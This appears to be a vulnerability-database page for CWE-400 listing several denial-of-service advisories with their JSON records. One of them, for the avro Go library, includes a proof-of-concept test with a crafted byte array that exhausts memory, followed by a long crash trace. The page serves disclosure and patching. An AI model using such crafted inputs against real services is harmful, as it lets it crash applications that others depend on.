Common Weakness Enumeration
CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
5433 vulnerabilities reference this CWE, most recent first.
GHSA-9VV6-2FM3-VXX6
Vulnerability from github – Published: 2026-04-27 21:31 – Updated: 2026-04-27 21:31
VLAI
Details
A handling issue in the RTSP service of the Mercury MIPC252W 1.0.5 Build 230306 Rel.79931n allows an authenticated attacker to trigger session termination by repeatedly sending SETUP requests for the same media track within a single RTSP session. This causes the server to reset the RTSP connection, leading to a denial-of-service condition.
Severity
4.4 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-35901"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-27T19:16:47Z",
"severity": "MODERATE"
},
"details": "A handling issue in the RTSP service of the Mercury MIPC252W 1.0.5 Build 230306 Rel.79931n allows an authenticated attacker to trigger session termination by repeatedly sending SETUP requests for the same media track within a single RTSP session. This causes the server to reset the RTSP connection, leading to a denial-of-service condition.",
"id": "GHSA-9vv6-2fm3-vxx6",
"modified": "2026-04-27T21:31:02Z",
"published": "2026-04-27T21:31:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35901"
},
{
"type": "WEB",
"url": "https://github.com/izxnfirh8148/CVE_REQUESTS_references/blob/main/MERCURY_MIPC252W/MERCURY_MIPC252W_2th/README.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9VX2-2784-8W2R
Vulnerability from github – Published: 2022-05-17 00:27 – Updated: 2022-05-17 00:27
VLAI
Details
An issue was discovered in Xen 4.4.x through 4.9.x allowing ARM guest OS users to cause a denial of service (prevent physical CPU usage) because of lock mishandling upon detection of an add-to-physmap error.
Severity
6.0 (Medium)
{
"affected": [],
"aliases": [
"CVE-2017-15596"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-10-18T08:29:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Xen 4.4.x through 4.9.x allowing ARM guest OS users to cause a denial of service (prevent physical CPU usage) because of lock mishandling upon detection of an add-to-physmap error.",
"id": "GHSA-9vx2-2784-8w2r",
"modified": "2022-05-17T00:27:07Z",
"published": "2022-05-17T00:27:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-15596"
},
{
"type": "WEB",
"url": "https://xenbits.xen.org/xsa/advisory-235.html"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2017/dsa-3969"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1039568"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9W7J-Q3XW-P9VH
Vulnerability from github – Published: 2022-09-25 00:00 – Updated: 2022-09-28 14:12
VLAI
Summary
Hyperledger Fabric subject to Denial of Service via non-validated request
Details
A vulnerability exists in Hyperledger Fabric < 2.4 could allow an attacker to construct a non-validated request that could cause a denial of service attack. The peer gateway service tries to extract channel and chaincode information from the signed proposal, but it doesn't check the proposal fields for validity. Therefore a malformed proposal might end up crashing the peer service. This issue has been patched in 2.4.6. There are no known workarounds.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/hyperledger/fabric"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.4.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-35253"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2022-09-28T14:12:31Z",
"nvd_published_at": "2022-09-23T14:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability exists in Hyperledger Fabric \u003c 2.4 could allow an attacker to construct a non-validated request that could cause a denial of service attack. The peer gateway service tries to extract channel and chaincode information from the signed proposal, but it doesn\u0027t check the proposal fields for validity. Therefore a malformed proposal might end up crashing the peer service. This issue has been patched in 2.4.6. There are no known workarounds.",
"id": "GHSA-9w7j-q3xw-p9vh",
"modified": "2022-09-28T14:12:31Z",
"published": "2022-09-25T00:00:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-35253"
},
{
"type": "WEB",
"url": "https://github.com/hyperledger/fabric/pull/3572"
},
{
"type": "WEB",
"url": "https://github.com/hyperledger/fabric/pull/3576"
},
{
"type": "WEB",
"url": "https://github.com/hyperledger/fabric/pull/3577"
},
{
"type": "PACKAGE",
"url": "https://github.com/hyperledger/fabric"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Hyperledger Fabric subject to Denial of Service via non-validated request"
}
GHSA-9WGH-VJJ7-7433
Vulnerability from github – Published: 2021-08-25 20:49 – Updated: 2023-06-13 18:17
VLAI
Summary
Mutable reference with immutable provenance in image
Details
A mutable reference to a struct was constructed by dereferencing a pointer obtained from slice::as_ptr. Instead, slice::as_mut_ptr should have been called on the mutable slice argument. The former performs an implicit reborrow as an immutable shared reference which does not allow writing through the derived pointer.
Severity
5.5 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "image"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.23.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-35916"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2021-08-19T20:49:50Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "A mutable reference to a struct was constructed by dereferencing a pointer obtained from slice::as_ptr. Instead, slice::as_mut_ptr should have been called on the mutable slice argument. The former performs an implicit reborrow as an immutable shared reference which does not allow writing through the derived pointer.",
"id": "GHSA-9wgh-vjj7-7433",
"modified": "2023-06-13T18:17:31Z",
"published": "2021-08-25T20:49:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35916"
},
{
"type": "WEB",
"url": "https://github.com/image-rs/image/issues/1357"
},
{
"type": "WEB",
"url": "https://github.com/image-rs/image/pull/1358"
},
{
"type": "WEB",
"url": "https://github.com/image-rs/image/commit/5cbe1e6767d11aff3f14c7ad69a06b04e8d583c7"
},
{
"type": "PACKAGE",
"url": "https://github.com/image-rs/image"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2020-0073.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Mutable reference with immutable provenance in image"
}
GHSA-9X44-9PGQ-CF45
Vulnerability from github – Published: 2023-07-17 10:55 – Updated: 2023-07-19 10:54
VLAI
Summary
avro vulnerable to denial of service via attacker-controlled parameter
Details
Summary
A well-crafted string passed to avro's github.com/hamba/avro/v2.Unmarshal() can throw a fatal error: runtime: out of memory which is unrecoverable and can cause denial of service of the consumer of avro.
Details
The root cause of the issue is that avro uses part of the input to Unmarshal() to determine the size when creating a new slice.
In the reproducer below, the first few bytes determine the size of the slice.
The root cause is on line 239 here: https://github.com/hamba/avro/blob/3abfe1e6382c5dccf2e1a00260c51a64bc1f1ca1/reader.go#L216-L242
PoC
The issue was found during a security audit of Dapr, and I attach a reproducer that shows how the issue affects Dapr.
Dapr uses an older version of the avro library, but it is also affected if bumping avro to latest.
To reproduce:
cd /tmp
git clone --depth=1 https://github.com/dapr/components-contrib
cd components-contrib/pubsub/pulsar
now add this test to the pulsar_test.go:
func TestParsePublishMetadata2(t *testing.T) {
m := &pubsub.PublishRequest{}
m.Data = []byte{246, 255, 255, 255, 255, 10, 255, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
_, _ = parsePublishMetadata(m, schemaMetadata{protocol: avroProtocol, value: "bytes"})
}
run the test with go test -run=TestParsePublishMetadata2.
You should see this stacktrace:
fatal error: runtime: out of memory
runtime stack:
runtime.throw({0xc32c9c?, 0x8000?})
/usr/local/go/src/runtime/panic.go:1047 +0x5d fp=0x7ffd9b347ed8 sp=0x7ffd9b347ea8 pc=0x445a9d
runtime.sysMapOS(0xc000400000, 0x2c00000000?)
/usr/local/go/src/runtime/mem_linux.go:187 +0x11b fp=0x7ffd9b347f20 sp=0x7ffd9b347ed8 pc=0x424dfb
runtime.sysMap(0x11ab260?, 0xc3ffffffff?, 0x11bb3f8?)
/usr/local/go/src/runtime/mem.go:142 +0x35 fp=0x7ffd9b347f50 sp=0x7ffd9b347f20 pc=0x4247d5
runtime.(*mheap).grow(0x11ab260, 0x1600000?)
/usr/local/go/src/runtime/mheap.go:1522 +0x252 fp=0x7ffd9b347fc8 sp=0x7ffd9b347f50 pc=0x436832
runtime.(*mheap).allocSpan(0x11ab260, 0x1600000, 0x0, 0xae?)
/usr/local/go/src/runtime/mheap.go:1243 +0x1b7 fp=0x7ffd9b348060 sp=0x7ffd9b347fc8 pc=0x435f77
runtime.(*mheap).alloc.func1()
/usr/local/go/src/runtime/mheap.go:961 +0x65 fp=0x7ffd9b3480a8 sp=0x7ffd9b348060 pc=0x435a25
runtime.systemstack()
/usr/local/go/src/runtime/asm_amd64.s:496 +0x49 fp=0x7ffd9b3480b0 sp=0x7ffd9b3480a8 pc=0x47a469
goroutine 22 [running]:
runtime.systemstack_switch()
/usr/local/go/src/runtime/asm_amd64.s:463 fp=0xc000080930 sp=0xc000080928 pc=0x47a400
runtime.(*mheap).alloc(0x422a90?, 0x1160f40?, 0x38?)
/usr/local/go/src/runtime/mheap.go:955 +0x65 fp=0xc000080978 sp=0xc000080930 pc=0x435965
runtime.(*mcache).allocLarge(0x2?, 0x2bfffffffb, 0x1)
/usr/local/go/src/runtime/mcache.go:234 +0x85 fp=0xc0000809c0 sp=0xc000080978 pc=0x423865
runtime.mallocgc(0x2bfffffffb, 0xb44860, 0x1)
/usr/local/go/src/runtime/malloc.go:1053 +0x4fe fp=0xc000080a28 sp=0xc0000809c0 pc=0x41a57e
runtime.makeslice(0xc00024cd20?, 0x4d8560d018?, 0xc000080b18?)
/usr/local/go/src/runtime/slice.go:103 +0x52 fp=0xc000080a50 sp=0xc000080a28 pc=0x45de72
github.com/hamba/avro/v2.(*Reader).readBytes(0xc00024cd20, {0xc27ca1, 0x5})
/home/adam/go/pkg/mod/github.com/hamba/avro/v2@v2.12.0/reader.go:239 +0x1b7 fp=0xc000080ac0 sp=0xc000080a50 pc=0x834417
github.com/hamba/avro/v2.(*Reader).ReadBytes(...)
/home/adam/go/pkg/mod/github.com/hamba/avro/v2@v2.12.0/reader.go:203
github.com/hamba/avro/v2.(*Reader).ReadNext(0xfaf5531d980c4e50?, {0xd24d90, 0xc0001a1da0})
/home/adam/go/pkg/mod/github.com/hamba/avro/v2@v2.12.0/reader_generic.go:63 +0x44c fp=0xc000080ca0 sp=0xc000080ac0 pc=0x8349ec
github.com/hamba/avro/v2.(*efaceDecoder).Decode(0xc0001188f0?, 0xc00019fd10, 0xc0001a1da0?)
/home/adam/go/pkg/mod/github.com/hamba/avro/v2@v2.12.0/codec_dynamic.go:18 +0x1a5 fp=0xc000080d18 sp=0xc000080ca0 pc=0x8221c5
github.com/hamba/avro/v2.(*Reader).ReadVal(0xc00024cd20, {0xd24d90, 0xc0001a1da0}, {0xb2da80, 0xc00019fd10})
/home/adam/go/pkg/mod/github.com/hamba/avro/v2@v2.12.0/codec.go:53 +0x139 fp=0xc000080d98 sp=0xc000080d18 pc=0x8200f9
github.com/hamba/avro/v2.(*frozenConfig).Unmarshal(0xc000158080, {0xd24d90, 0xc0001a1da0}, {0xc00013a640?, 0x535d2f?, 0x536253?}, {0xb2da80, 0xc00019fd10})
/home/adam/go/pkg/mod/github.com/hamba/avro/v2@v2.12.0/config.go:150 +0x6e fp=0xc000080de8 sp=0xc000080d98 pc=0x832b2e
github.com/hamba/avro/v2.Unmarshal(...)
/home/adam/go/pkg/mod/github.com/hamba/avro/v2@v2.12.0/decoder.go:49
github.com/dapr/components-contrib/pubsub/pulsar.parsePublishMetadata(0xc000080f18, {{0xc27698?, 0x59a?}, {0xc27ca1?, 0x536220?}})
/tmp/components-contrib/pubsub/pulsar/pulsar.go:300 +0x1f5 fp=0xc000080ef0 sp=0xc000080de8 pc=0xa3c1d5
github.com/dapr/components-contrib/pubsub/pulsar.TestParsePublishMetadata2(0x413239?)
/tmp/components-contrib/pubsub/pulsar/pulsar_test.go:154 +0xb0 fp=0xc000080f70 sp=0xc000080ef0 pc=0xa3d1b0
testing.tRunner(0xc0001b56c0, 0xc789e0)
/usr/local/go/src/testing/testing.go:1576 +0x10b fp=0xc000080fc0 sp=0xc000080f70 pc=0x53632b
testing.(*T).Run.func1()
/usr/local/go/src/testing/testing.go:1629 +0x2a fp=0xc000080fe0 sp=0xc000080fc0 pc=0x53736a
runtime.goexit()
/usr/local/go/src/runtime/asm_amd64.s:1598 +0x1 fp=0xc000080fe8 sp=0xc000080fe0 pc=0x47c621
created by testing.(*T).Run
/usr/local/go/src/testing/testing.go:1629 +0x3ea
goroutine 1 [chan receive]:
runtime.gopark(0x1193660?, 0xc000122900?, 0xf0?, 0x28?, 0xc00019da28?)
/usr/local/go/src/runtime/proc.go:381 +0xd6 fp=0xc00019d9a8 sp=0xc00019d988 pc=0x4487f6
runtime.chanrecv(0xc0002423f0, 0xc00019daa7, 0x1)
/usr/local/go/src/runtime/chan.go:583 +0x49d fp=0xc00019da38 sp=0xc00019d9a8 pc=0x4137fd
runtime.chanrecv1(0x11926e0?, 0xb445e0?)
/usr/local/go/src/runtime/chan.go:442 +0x18 fp=0xc00019da60 sp=0xc00019da38 pc=0x4132f8
testing.(*T).Run(0xc0001b5520, {0xc34a0b?, 0x535ba5?}, 0xc789e0)
/usr/local/go/src/testing/testing.go:1630 +0x405 fp=0xc00019db20 sp=0xc00019da60 pc=0x5371e5
testing.runTests.func1(0x1193660?)
/usr/local/go/src/testing/testing.go:2036 +0x45 fp=0xc00019db70 sp=0xc00019db20 pc=0x5393a5
testing.tRunner(0xc0001b5520, 0xc00019dc88)
/usr/local/go/src/testing/testing.go:1576 +0x10b fp=0xc00019dbc0 sp=0xc00019db70 pc=0x53632b
testing.runTests(0xc000228820?, {0x11487c0, 0xa, 0xa}, {0xc00023fb60?, 0x100c00019dd10?, 0x1192d20?})
/usr/local/go/src/testing/testing.go:2034 +0x489 fp=0xc00019dcb8 sp=0xc00019dbc0 pc=0x539289
testing.(*M).Run(0xc000228820)
/usr/local/go/src/testing/testing.go:1906 +0x63a fp=0xc00019df00 sp=0xc00019dcb8 pc=0x537bfa
main.main()
_testmain.go:65 +0x1aa fp=0xc00019df80 sp=0xc00019df00 pc=0xa3f9ea
runtime.main()
/usr/local/go/src/runtime/proc.go:250 +0x207 fp=0xc00019dfe0 sp=0xc00019df80 pc=0x4483c7
runtime.goexit()
/usr/local/go/src/runtime/asm_amd64.s:1598 +0x1 fp=0xc00019dfe8 sp=0xc00019dfe0 pc=0x47c621
goroutine 2 [force gc (idle)]:
runtime.gopark(0x0?, 0x0?, 0x0?, 0x0?, 0x0?)
/usr/local/go/src/runtime/proc.go:381 +0xd6 fp=0xc00006cfb0 sp=0xc00006cf90 pc=0x4487f6
runtime.goparkunlock(...)
/usr/local/go/src/runtime/proc.go:387
runtime.forcegchelper()
/usr/local/go/src/runtime/proc.go:305 +0xb0 fp=0xc00006cfe0 sp=0xc00006cfb0 pc=0x448630
runtime.goexit()
/usr/local/go/src/runtime/asm_amd64.s:1598 +0x1 fp=0xc00006cfe8 sp=0xc00006cfe0 pc=0x47c621
created by runtime.init.6
/usr/local/go/src/runtime/proc.go:293 +0x25
goroutine 3 [GC sweep wait]:
runtime.gopark(0x0?, 0x0?, 0x0?, 0x0?, 0x0?)
/usr/local/go/src/runtime/proc.go:381 +0xd6 fp=0xc00006d780 sp=0xc00006d760 pc=0x4487f6
runtime.goparkunlock(...)
/usr/local/go/src/runtime/proc.go:387
runtime.bgsweep(0x0?)
/usr/local/go/src/runtime/mgcsweep.go:278 +0x8e fp=0xc00006d7c8 sp=0xc00006d780 pc=0x43282e
runtime.gcenable.func1()
/usr/local/go/src/runtime/mgc.go:178 +0x26 fp=0xc00006d7e0 sp=0xc00006d7c8 pc=0x427ae6
runtime.goexit()
/usr/local/go/src/runtime/asm_amd64.s:1598 +0x1 fp=0xc00006d7e8 sp=0xc00006d7e0 pc=0x47c621
created by runtime.gcenable
/usr/local/go/src/runtime/mgc.go:178 +0x6b
goroutine 4 [GC scavenge wait]:
runtime.gopark(0xc00003c070?, 0xd19648?, 0x1?, 0x0?, 0x0?)
/usr/local/go/src/runtime/proc.go:381 +0xd6 fp=0xc00006df70 sp=0xc00006df50 pc=0x4487f6
runtime.goparkunlock(...)
/usr/local/go/src/runtime/proc.go:387
runtime.(*scavengerState).park(0x1192e40)
/usr/local/go/src/runtime/mgcscavenge.go:400 +0x53 fp=0xc00006dfa0 sp=0xc00006df70 pc=0x430753
runtime.bgscavenge(0x0?)
/usr/local/go/src/runtime/mgcscavenge.go:628 +0x45 fp=0xc00006dfc8 sp=0xc00006dfa0 pc=0x430d25
runtime.gcenable.func2()
/usr/local/go/src/runtime/mgc.go:179 +0x26 fp=0xc00006dfe0 sp=0xc00006dfc8 pc=0x427a86
runtime.goexit()
/usr/local/go/src/runtime/asm_amd64.s:1598 +0x1 fp=0xc00006dfe8 sp=0xc00006dfe0 pc=0x47c621
created by runtime.gcenable
/usr/local/go/src/runtime/mgc.go:179 +0xaa
goroutine 18 [finalizer wait]:
runtime.gopark(0x1a0?, 0x1193660?, 0xe0?, 0x24?, 0xc00006c770?)
/usr/local/go/src/runtime/proc.go:381 +0xd6 fp=0xc00006c628 sp=0xc00006c608 pc=0x4487f6
runtime.runfinq()
/usr/local/go/src/runtime/mfinal.go:193 +0x107 fp=0xc00006c7e0 sp=0xc00006c628 pc=0x426b27
runtime.goexit()
/usr/local/go/src/runtime/asm_amd64.s:1598 +0x1 fp=0xc00006c7e8 sp=0xc00006c7e0 pc=0x47c621
created by runtime.createfing
/usr/local/go/src/runtime/mfinal.go:163 +0x45
goroutine 19 [IO wait]:
runtime.gopark(0x0?, 0x0?, 0x0?, 0x0?, 0x0?)
/usr/local/go/src/runtime/proc.go:381 +0xd6 fp=0xc000185a78 sp=0xc000185a58 pc=0x4487f6
runtime.netpollblock(0x0?, 0x4100cf?, 0x0?)
/usr/local/go/src/runtime/netpoll.go:527 +0xf7 fp=0xc000185ab0 sp=0xc000185a78 pc=0x440e17
internal/poll.runtime_pollWait(0x7f4d85613218, 0x72)
/usr/local/go/src/runtime/netpoll.go:306 +0x89 fp=0xc000185ad0 sp=0xc000185ab0 pc=0x476b29
internal/poll.(*pollDesc).wait(0xc000158980?, 0xc0001b0ca0?, 0x0)
/usr/local/go/src/internal/poll/fd_poll_runtime.go:84 +0x32 fp=0xc000185af8 sp=0xc000185ad0 pc=0x4b4832
internal/poll.(*pollDesc).waitRead(...)
/usr/local/go/src/internal/poll/fd_poll_runtime.go:89
internal/poll.(*FD).ReadMsg(0xc000158980, {0xc0001b0ca0, 0x10, 0x10}, {0xc00016a620, 0x1000, 0x1000}, 0x1?)
/usr/local/go/src/internal/poll/fd_unix.go:304 +0x3aa fp=0xc000185be8 sp=0xc000185af8 pc=0x4b6f2a
net.(*netFD).readMsg(0xc000158980, {0xc0001b0ca0?, 0x1?, 0xd26db0?}, {0xc00016a620?, 0x1?, 0x5?}, 0xb?)
/usr/local/go/src/net/fd_posix.go:78 +0x37 fp=0xc000185c70 sp=0xc000185be8 pc=0x68cb57
net.(*UnixConn).readMsg(0xc000122690, {0xc0001b0ca0?, 0xc00012f038?, 0xd1da40?}, {0xc00016a620?, 0xd1da40?, 0xc0001b6300?})
/usr/local/go/src/net/unixsock_posix.go:115 +0x4f fp=0xc000185d00 sp=0xc000185c70 pc=0x6a7f6f
net.(*UnixConn).ReadMsgUnix(0xc000122690, {0xc0001b0ca0?, 0x422a90?, 0xc0001b6300?}, {0xc00016a620?, 0x41a68a?, 0xc00012f260?})
/usr/local/go/src/net/unixsock.go:143 +0x3c fp=0xc000185d78 sp=0xc000185d00 pc=0x6a69bc
github.com/godbus/dbus.(*oobReader).Read(0xc00016a600, {0xc0001b0ca0?, 0xc000185e28?, 0x41aa67?})
/home/adam/go/pkg/mod/github.com/godbus/dbus@v0.0.0-20190726142602-4481cbc300e2/transport_unix.go:21 +0x45 fp=0xc000185df0 sp=0xc000185d78 pc=0x8c1d85
io.ReadAtLeast({0xd1e040, 0xc00016a600}, {0xc0001b0ca0, 0x10, 0x10}, 0x10)
/usr/local/go/src/io/io.go:332 +0x9a fp=0xc000185e38 sp=0xc000185df0 pc=0x4af45a
io.ReadFull(...)
/usr/local/go/src/io/io.go:351
github.com/godbus/dbus.(*unixTransport).ReadMessage(0xc00012ea80)
/home/adam/go/pkg/mod/github.com/godbus/dbus@v0.0.0-20190726142602-4481cbc300e2/transport_unix.go:91 +0x11e fp=0xc000185f68 sp=0xc000185e38 pc=0x8c239e
github.com/godbus/dbus.(*Conn).inWorker(0xc0001b2000)
/home/adam/go/pkg/mod/github.com/godbus/dbus@v0.0.0-20190726142602-4481cbc300e2/conn.go:294 +0x3b fp=0xc000185fc8 sp=0xc000185f68 pc=0x8ab47b
github.com/godbus/dbus.(*Conn).Auth.func1()
/home/adam/go/pkg/mod/github.com/godbus/dbus@v0.0.0-20190726142602-4481cbc300e2/auth.go:118 +0x26 fp=0xc000185fe0 sp=0xc000185fc8 pc=0x8a8766
runtime.goexit()
/usr/local/go/src/runtime/asm_amd64.s:1598 +0x1 fp=0xc000185fe8 sp=0xc000185fe0 pc=0x47c621
created by github.com/godbus/dbus.(*Conn).Auth
/home/adam/go/pkg/mod/github.com/godbus/dbus@v0.0.0-20190726142602-4481cbc300e2/auth.go:118 +0x9ee
exit status 2
FAIL github.com/dapr/components-contrib/pubsub/pulsar 0.027s
Impact
Any use case of the avro Unmarshalling routine that accepts untrusted input is affected.
The impact is that an attacker can crash the running application and cause denial of service.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/hamba/avro"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.13.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/hamba/avro/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.13.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-37475"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-17T10:55:30Z",
"nvd_published_at": "2023-07-17T17:15:10Z",
"severity": "HIGH"
},
"details": "### Summary\nA well-crafted string passed to avro\u0027s `github.com/hamba/avro/v2.Unmarshal()` can throw a `fatal error: runtime: out of memory` which is unrecoverable and can cause denial of service of the consumer of avro.\n\n### Details\nThe root cause of the issue is that avro uses part of the input to `Unmarshal()` to determine the size when creating a new slice.\n\nIn the reproducer below, the first few bytes determine the size of the slice.\n\nThe root cause is on line 239 here:\nhttps://github.com/hamba/avro/blob/3abfe1e6382c5dccf2e1a00260c51a64bc1f1ca1/reader.go#L216-L242\n\n### PoC\nThe issue was found during a security audit of Dapr, and I attach a reproducer that shows how the issue affects Dapr.\n\nDapr uses an older version of the avro library, but it is also affected if bumping avro to latest.\n\nTo reproduce:\n```bash\ncd /tmp\ngit clone --depth=1 https://github.com/dapr/components-contrib\ncd components-contrib/pubsub/pulsar\n```\nnow add this test to the `pulsar_test.go`:\n```golang\nfunc TestParsePublishMetadata2(t *testing.T) {\n m := \u0026pubsub.PublishRequest{}\n m.Data = []byte{246, 255, 255, 255, 255, 10, 255, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}\n _, _ = parsePublishMetadata(m, schemaMetadata{protocol: avroProtocol, value: \"bytes\"})\n}\n```\nrun the test with `go test -run=TestParsePublishMetadata2`.\n\nYou should see this stacktrace:\n\n```\nfatal error: runtime: out of memory \n \nruntime stack: \nruntime.throw({0xc32c9c?, 0x8000?}) \n /usr/local/go/src/runtime/panic.go:1047 +0x5d fp=0x7ffd9b347ed8 sp=0x7ffd9b347ea8 pc=0x445a9d \nruntime.sysMapOS(0xc000400000, 0x2c00000000?) \n /usr/local/go/src/runtime/mem_linux.go:187 +0x11b fp=0x7ffd9b347f20 sp=0x7ffd9b347ed8 pc=0x424dfb \nruntime.sysMap(0x11ab260?, 0xc3ffffffff?, 0x11bb3f8?) \n /usr/local/go/src/runtime/mem.go:142 +0x35 fp=0x7ffd9b347f50 sp=0x7ffd9b347f20 pc=0x4247d5 \nruntime.(*mheap).grow(0x11ab260, 0x1600000?) \n /usr/local/go/src/runtime/mheap.go:1522 +0x252 fp=0x7ffd9b347fc8 sp=0x7ffd9b347f50 pc=0x436832 \nruntime.(*mheap).allocSpan(0x11ab260, 0x1600000, 0x0, 0xae?) \n /usr/local/go/src/runtime/mheap.go:1243 +0x1b7 fp=0x7ffd9b348060 sp=0x7ffd9b347fc8 pc=0x435f77 \nruntime.(*mheap).alloc.func1() \n /usr/local/go/src/runtime/mheap.go:961 +0x65 fp=0x7ffd9b3480a8 sp=0x7ffd9b348060 pc=0x435a25 \nruntime.systemstack() \n /usr/local/go/src/runtime/asm_amd64.s:496 +0x49 fp=0x7ffd9b3480b0 sp=0x7ffd9b3480a8 pc=0x47a469 \n \ngoroutine 22 [running]: \nruntime.systemstack_switch() \n /usr/local/go/src/runtime/asm_amd64.s:463 fp=0xc000080930 sp=0xc000080928 pc=0x47a400 \nruntime.(*mheap).alloc(0x422a90?, 0x1160f40?, 0x38?) \n /usr/local/go/src/runtime/mheap.go:955 +0x65 fp=0xc000080978 sp=0xc000080930 pc=0x435965 \nruntime.(*mcache).allocLarge(0x2?, 0x2bfffffffb, 0x1) \n /usr/local/go/src/runtime/mcache.go:234 +0x85 fp=0xc0000809c0 sp=0xc000080978 pc=0x423865 \nruntime.mallocgc(0x2bfffffffb, 0xb44860, 0x1) \n /usr/local/go/src/runtime/malloc.go:1053 +0x4fe fp=0xc000080a28 sp=0xc0000809c0 pc=0x41a57e \nruntime.makeslice(0xc00024cd20?, 0x4d8560d018?, 0xc000080b18?) \n /usr/local/go/src/runtime/slice.go:103 +0x52 fp=0xc000080a50 sp=0xc000080a28 pc=0x45de72 \ngithub.com/hamba/avro/v2.(*Reader).readBytes(0xc00024cd20, {0xc27ca1, 0x5}) \n /home/adam/go/pkg/mod/github.com/hamba/avro/v2@v2.12.0/reader.go:239 +0x1b7 fp=0xc000080ac0 sp=0xc000080a50 pc=0x834417 \ngithub.com/hamba/avro/v2.(*Reader).ReadBytes(...) \n /home/adam/go/pkg/mod/github.com/hamba/avro/v2@v2.12.0/reader.go:203 \ngithub.com/hamba/avro/v2.(*Reader).ReadNext(0xfaf5531d980c4e50?, {0xd24d90, 0xc0001a1da0}) \n /home/adam/go/pkg/mod/github.com/hamba/avro/v2@v2.12.0/reader_generic.go:63 +0x44c fp=0xc000080ca0 sp=0xc000080ac0 pc=0x8349ec \ngithub.com/hamba/avro/v2.(*efaceDecoder).Decode(0xc0001188f0?, 0xc00019fd10, 0xc0001a1da0?) \n /home/adam/go/pkg/mod/github.com/hamba/avro/v2@v2.12.0/codec_dynamic.go:18 +0x1a5 fp=0xc000080d18 sp=0xc000080ca0 pc=0x8221c5 \ngithub.com/hamba/avro/v2.(*Reader).ReadVal(0xc00024cd20, {0xd24d90, 0xc0001a1da0}, {0xb2da80, 0xc00019fd10}) \n /home/adam/go/pkg/mod/github.com/hamba/avro/v2@v2.12.0/codec.go:53 +0x139 fp=0xc000080d98 sp=0xc000080d18 pc=0x8200f9 \ngithub.com/hamba/avro/v2.(*frozenConfig).Unmarshal(0xc000158080, {0xd24d90, 0xc0001a1da0}, {0xc00013a640?, 0x535d2f?, 0x536253?}, {0xb2da80, 0xc00019fd10}) \n /home/adam/go/pkg/mod/github.com/hamba/avro/v2@v2.12.0/config.go:150 +0x6e fp=0xc000080de8 sp=0xc000080d98 pc=0x832b2e \ngithub.com/hamba/avro/v2.Unmarshal(...) \n /home/adam/go/pkg/mod/github.com/hamba/avro/v2@v2.12.0/decoder.go:49 \ngithub.com/dapr/components-contrib/pubsub/pulsar.parsePublishMetadata(0xc000080f18, {{0xc27698?, 0x59a?}, {0xc27ca1?, 0x536220?}}) \n /tmp/components-contrib/pubsub/pulsar/pulsar.go:300 +0x1f5 fp=0xc000080ef0 sp=0xc000080de8 pc=0xa3c1d5 \ngithub.com/dapr/components-contrib/pubsub/pulsar.TestParsePublishMetadata2(0x413239?) \n /tmp/components-contrib/pubsub/pulsar/pulsar_test.go:154 +0xb0 fp=0xc000080f70 sp=0xc000080ef0 pc=0xa3d1b0 